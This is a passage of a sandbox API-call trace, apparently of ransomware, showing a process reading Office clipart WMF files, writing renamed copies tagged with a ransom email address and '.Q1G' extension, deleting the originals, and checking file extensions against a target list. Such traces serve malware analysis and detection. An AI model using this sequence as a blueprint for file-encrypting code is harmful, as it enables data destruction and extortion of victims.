liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.428] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0243.428] GetLastError () returned 0x0 [0243.428] ReadFile (in: hFile=0x3b8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x30e8, lpOverlapped=0x0) returned 1 [0243.459] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x30f0, lpOverlapped=0x0) returned 1 [0243.460] ReadFile (in: hFile=0x3b8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.460] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.460] SetEndOfFile (hFile=0x3a8) returned 1 [0243.466] CloseHandle (hObject=0x3a8) returned 1 [0243.466] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.466] SetEndOfFile (hFile=0x3b8) returned 1 [0243.714] CloseHandle (hObject=0x3b8) returned 1 [0243.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.715] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf")) returned 1 [0243.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0243.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0243.715] lstrlenW (lpString=".doc") returned 4 [0243.715] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.715] lstrlenW (lpString=".docx") returned 5 [0243.715] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.716] lstrlenW (lpString=".pdf") returned 4 [0243.716] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.716] lstrlenW (lpString=".xls") returned 4 [0243.716] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.716] lstrlenW (lpString=".xlsx") returned 5 [0243.716] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.716] lstrlenW (lpString=".ppt") returned 4 [0243.716] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0243.716] lstrlenW (lpString=".zip") returned 4 [0243.716] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.716] lstrlenW (lpString=".rar") returned 4 [0243.716] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.716] lstrlenW (lpString=".bz2") returned 4 [0243.716] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.716] lstrlenW (lpString=".7z") returned 3 [0243.716] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0243.716] lstrlenW (lpString=".dbf") returned 4 [0243.716] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0243.716] lstrlenW (lpString=".1cd") returned 4 [0243.716] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0243.716] lstrlenW (lpString=".jpg") returned 4 [0243.716] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0243.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0243.716] lstrlenW (lpString=".doc") returned 4 [0243.716] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.716] lstrlenW (lpString=".docx") returned 5 [0243.716] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.716] lstrlenW (lpString=".pdf") returned 4 [0243.716] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.716] lstrlenW (lpString=".xls") returned 4 [0243.717] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.717] lstrlenW (lpString=".xlsx") returned 5 [0243.717] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.717] lstrlenW (lpString=".ppt") returned 4 [0243.717] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0243.717] lstrlenW (lpString=".zip") returned 4 [0243.717] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.717] lstrlenW (lpString=".rar") returned 4 [0243.717] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.717] lstrlenW (lpString=".bz2") returned 4 [0243.717] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.717] lstrlenW (lpString=".7z") returned 3 [0243.717] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0243.717] lstrlenW (lpString=".dbf") returned 4 [0243.717] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0243.717] lstrlenW (lpString=".1cd") returned 4 [0243.717] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0243.717] lstrlenW (lpString=".jpg") returned 4 [0243.717] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.717] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0243.717] lstrlenW (lpString="BL00247_.WMF") returned 12 [0243.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0243.718] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=14444) returned 1 [0243.718] CloseHandle (hObject=0x3b8) returned 1 [0243.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf")) returned 0x20 [0243.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0243.718] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.718] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0243.719] GetLastError () returned 0x0 [0243.719] ReadFile (in: hFile=0x3b8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x386c, lpOverlapped=0x0) returned 1 [0243.721] WriteFile (in: hFile=0x200, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x3870, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x3870, lpOverlapped=0x0) returned 1 [0243.723] ReadFile (in: hFile=0x3b8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.723] WriteFile (in: hFile=0x200, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.723] SetEndOfFile (hFile=0x200) returned 1 [0243.723] CloseHandle (hObject=0x200) returned 1 [0243.723] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.723] SetEndOfFile (hFile=0x3b8) returned 1 [0243.725] CloseHandle (hObject=0x3b8) returned 1 [0243.725] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.726] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf")) returned 1 [0243.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0243.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0243.726] lstrlenW (lpString=".doc") returned 4 [0243.726] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.726] lstrlenW (lpString=".docx") returned 5 [0243.726] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.726] lstrlenW (lpString=".pdf") returned 4 [0243.726] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.726] lstrlenW (lpString=".xls") returned 4 [0243.726] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.726] lstrlenW (lpString=".xlsx") returned 5 [0243.726] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.726] lstrlenW (lpString=".ppt") returned 4 [0243.726] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0243.727] lstrlenW (lpString=".zip") returned 4 [0243.727] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.727] lstrlenW (lpString=".rar") returned 4 [0243.727] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.727] lstrlenW (lpString=".bz2") returned 4 [0243.727] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.727] lstrlenW (lpString=".7z") returned 3 [0243.727] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0243.727] lstrlenW (lpString=".dbf") returned 4 [0243.727] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0243.727] lstrlenW (lpString=".1cd") returned 4 [0243.727] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0243.727] lstrlenW (lpString=".jpg") returned 4 [0243.727] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0243.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0243.727] lstrlenW (lpString=".doc") returned 4 [0243.727] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.727] lstrlenW (lpString=".docx") returned 5 [0243.727] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.727] lstrlenW (lpString=".pdf") returned 4 [0243.727] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.727] lstrlenW (lpString=".xls") returned 4 [0243.727] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.727] lstrlenW (lpString=".xlsx") returned 5 [0243.727] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.727] lstrlenW (lpString=".ppt") returned 4 [0243.727] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0243.728] lstrlenW (lpString=".zip") returned 4 [0243.728] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.728] lstrlenW (lpString=".rar") returned 4 [0243.728] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.728] lstrlenW (lpString=".bz2") returned 4 [0243.728] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.728] lstrlenW (lpString=".7z") returned 3 [0243.728] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0243.728] lstrlenW (lpString=".dbf") returned 4 [0243.728] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0243.728] lstrlenW (lpString=".1cd") returned 4 [0243.728] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0243.728] lstrlenW (lpString=".jpg") returned 4 [0243.728] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.728] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0243.728] lstrlenW (lpString="BL00248_.WMF") returned 12 [0243.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0243.729] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=1536) returned 1 [0243.729] CloseHandle (hObject=0x3b8) returned 1 [0243.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf")) returned 0x20 [0243.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0243.729] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.730] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0243.730] GetLastError () returned 0x0 [0243.730] ReadFile (in: hFile=0x3b8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x600, lpOverlapped=0x0) returned 1 [0243.732] WriteFile (in: hFile=0x200, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x610, lpOverlapped=0x0) returned 1 [0243.733] ReadFile (in: hFile=0x3b8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.733] WriteFile (in: hFile=0x200, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.733] SetEndOfFile (hFile=0x200) returned 1 [0243.733] CloseHandle (hObject=0x200) returned 1 [0243.733] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.733] SetEndOfFile (hFile=0x3b8) returned 1 [0243.735] CloseHandle (hObject=0x3b8) returned 1 [0243.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.736] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf")) returned 1 [0243.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0243.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0243.736] lstrlenW (lpString=".doc") returned 4 [0243.736] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.736] lstrlenW (lpString=".docx") returned 5 [0243.736] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.736] lstrlenW (lpString=".pdf") returned 4 [0243.736] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.736] lstrlenW (lpString=".xls") returned 4 [0243.737] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.737] lstrlenW (lpString=".xlsx") returned 5 [0243.737] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.737] lstrlenW (lpString=".ppt") returned 4 [0243.737] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0243.737] lstrlenW (lpString=".zip") returned 4 [0243.737] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.737] lstrlenW (lpString=".rar") returned 4 [0243.737] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.737] lstrlenW (lpString=".bz2") returned 4 [0243.737] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.737] lstrlenW (lpString=".7z") returned 3 [0243.737] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0243.737] lstrlenW (lpString=".dbf") returned 4 [0243.737] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0243.737] lstrlenW (lpString=".1cd") returned 4 [0243.737] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0243.737] lstrlenW (lpString=".jpg") returned 4 [0243.737] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0243.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0243.737] lstrlenW (lpString=".doc") returned 4 [0243.737] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.737] lstrlenW (lpString=".docx") returned 5 [0243.737] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.737] lstrlenW (lpString=".pdf") returned 4 [0243.737] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.737] lstrlenW (lpString=".xls") returned 4 [0243.738] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.738] lstrlenW (lpString=".xlsx") returned 5 [0243.738] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.738] lstrlenW (lpString=".ppt") returned 4 [0243.738] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0243.738] lstrlenW (lpString=".zip") returned 4 [0243.738] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.738] lstrlenW (lpString=".rar") returned 4 [0243.738] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.738] lstrlenW (lpString=".bz2") returned 4 [0243.738] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.738] lstrlenW (lpString=".7z") returned 3 [0243.738] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0243.738] lstrlenW (lpString=".dbf") returned 4 [0243.738] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0243.738] lstrlenW (lpString=".1cd") returned 4 [0243.738] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0243.738] lstrlenW (lpString=".jpg") returned 4 [0243.738] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.738] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0243.738] lstrlenW (lpString="BL00252_.WMF") returned 12 [0243.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0243.739] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=4708) returned 1 [0243.739] CloseHandle (hObject=0x3b8) returned 1 [0243.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf")) returned 0x20 [0243.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0243.740] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.740] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 